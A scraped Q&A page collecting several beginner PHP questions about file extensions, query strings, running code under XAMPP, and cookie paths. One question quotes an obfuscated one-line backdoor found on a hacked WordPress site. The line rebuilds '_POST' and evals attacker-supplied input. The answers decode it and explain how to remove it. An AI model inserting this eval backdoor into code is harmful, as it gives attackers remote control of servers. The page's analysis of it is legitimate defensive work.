web page and php connection [duplicate] - php

This question already has answers here:
Reference - What does this error mean in PHP?
(38 answers)
Closed 2 years ago.
connection using php is possible but when I give an example ... databaza.php so the page does not go at all and when I give databaza.html (I mean it as a subpage)
so the page goes but in the part where the connection table should be errory
I would like the page to work but with the .php extension. because when I give the .html extension, the page goes but the connection to the database does not and vice versa
where can be the mistake?enter image description here

Check naming of files, also mozilla firefox loads better for php files if making just php files to load. hope this helps.

Related

What does ? stand for in PHP (after href operator)? [duplicate]

This question already has answers here:
What is the "?" symbol in URL used for in php?
(7 answers)
What the meaning of "?" in the PHP URL [duplicate]
(7 answers)
Closed 4 years ago.
I have the following problem:
I use a template page for a specific application, and for the login through "steam" there is a button. The button refers to a php file, and in the php file you can find the following line of code:
<a href="?login"><div id="sign-in-steam" style="margin-left: 74px;color: black;">
What does the "?login" exactly mean, I know it stands for a file but I cant find a file named like that, can anyone help me out?
The part behind the question mark in any URL is the Query String as per RFC 3986 section 3.4 and hence is not a PHP functionality (even though PHP can read it, see PHP $_SERVER superglobal docs, especially $_SERVER['QUERY_STRING']).
The hyper reference
?login
refers to the web-apps main page, which gets called using the parameter login a a GET parameter.
Quite likely, this would call the same script equivalently:
index.php?login

how to input data from form to mysql using php? [duplicate]

This question already has answers here:
PHP code is not being executed, but the code shows in the browser source code
(35 answers)
Closed 4 years ago.
How to input data using php?
I already created code to input data from <form></form> html to mysql using external php, but when I try to run it, it looks like this:
The first thing to understand, php codes do not execute by your browser, it is executed on your server, so the first thing you need is a server.
By looking at your URL, I can see you are using XAMPP.
Replacing everything before Resolusi2018 by just localhost would do the job.
Put your files into the root directory then access your page by entering
localhost/Resolusi2018/root/php/ngetes.php in your browser.
Ok, so I think your URL is just wrong.
You are opening the file directly, and not from the localhost.
Try something like this:
localhost/Resolusi2018/root/php/mgetes.php
If this is also not working, check if your XAMPP is actually running.

What does this code? [duplicate]

This question already has an answer here:
What Does This PHP Code Do? [closed]
(1 answer)
Closed 7 years ago.
I have a wordpress site and it was infected with malware I think. I have found this bit of php code in my files
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}
What does it do?
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
$s20 evaluates to _POST
if(isset(${$s20}['q140b2c'])){
eval(${$s20}['q140b2c']);
}
becomes
isset($_POST['q140b2c'])
eval then evaluates whatever is in that post
eval($_POST['q140b2c']);
I face same issue with one of my previous website hack. Same code as above. They are going to put code this code in .php file before start of PHP tag.
So it will hold the execution of PHP site.
To solve download all code & search in file & remove. Then your site works ok.

jQuery Ajax PHP security [duplicate]

This question already has answers here:
PHP code is not being executed, but the code shows in the browser source code
(35 answers)
Closed 6 years ago.
Is there any way to prevent jQuery AJAX retreiving a complete PHP file instead of its server output ?
I just tried to obtain text only output, expecting what ever php decides to return, but got the whole file.
Not ideal if as on some files it would reveal potential hacking targets such as database tables etc
The host was not allowing config of private files, the solution was to move provider and place php above the root directory.

SetCookiePhp and GetCookie Javascript [duplicate]

This question already has answers here:
Javascript getCookie functions
(5 answers)
Closed 9 years ago.
Is it possible to set/get cookies between php and javascript?
I tried two cases:
setCookie on Javascript, and then getCookie on PHP, it works
setCookie on PHP, and getCookie on Javascript, then it failed, always return null.
I am wondering if it is supposed to work in this way?
I think the issue was, my php folder is under a different directory apart from html page.
I went through the php documentation about cookies, and found out that Cookies can be saved for specific page which is depending on the path you specified.
What I did changed right now is specify the path as '/', so the cookie will be available for all pages:
setcookie($GLOBAL_COOKIE_KEY_CREATED_CV_THEME_ID, $param_themeId, time()+$GLOBAL_COOKIE_EXPIREDAYS, '/');
Ref: http://us.php.net/setcookie
Hope this could help, but if someone found it's wrong, please comment, thanks.

Categories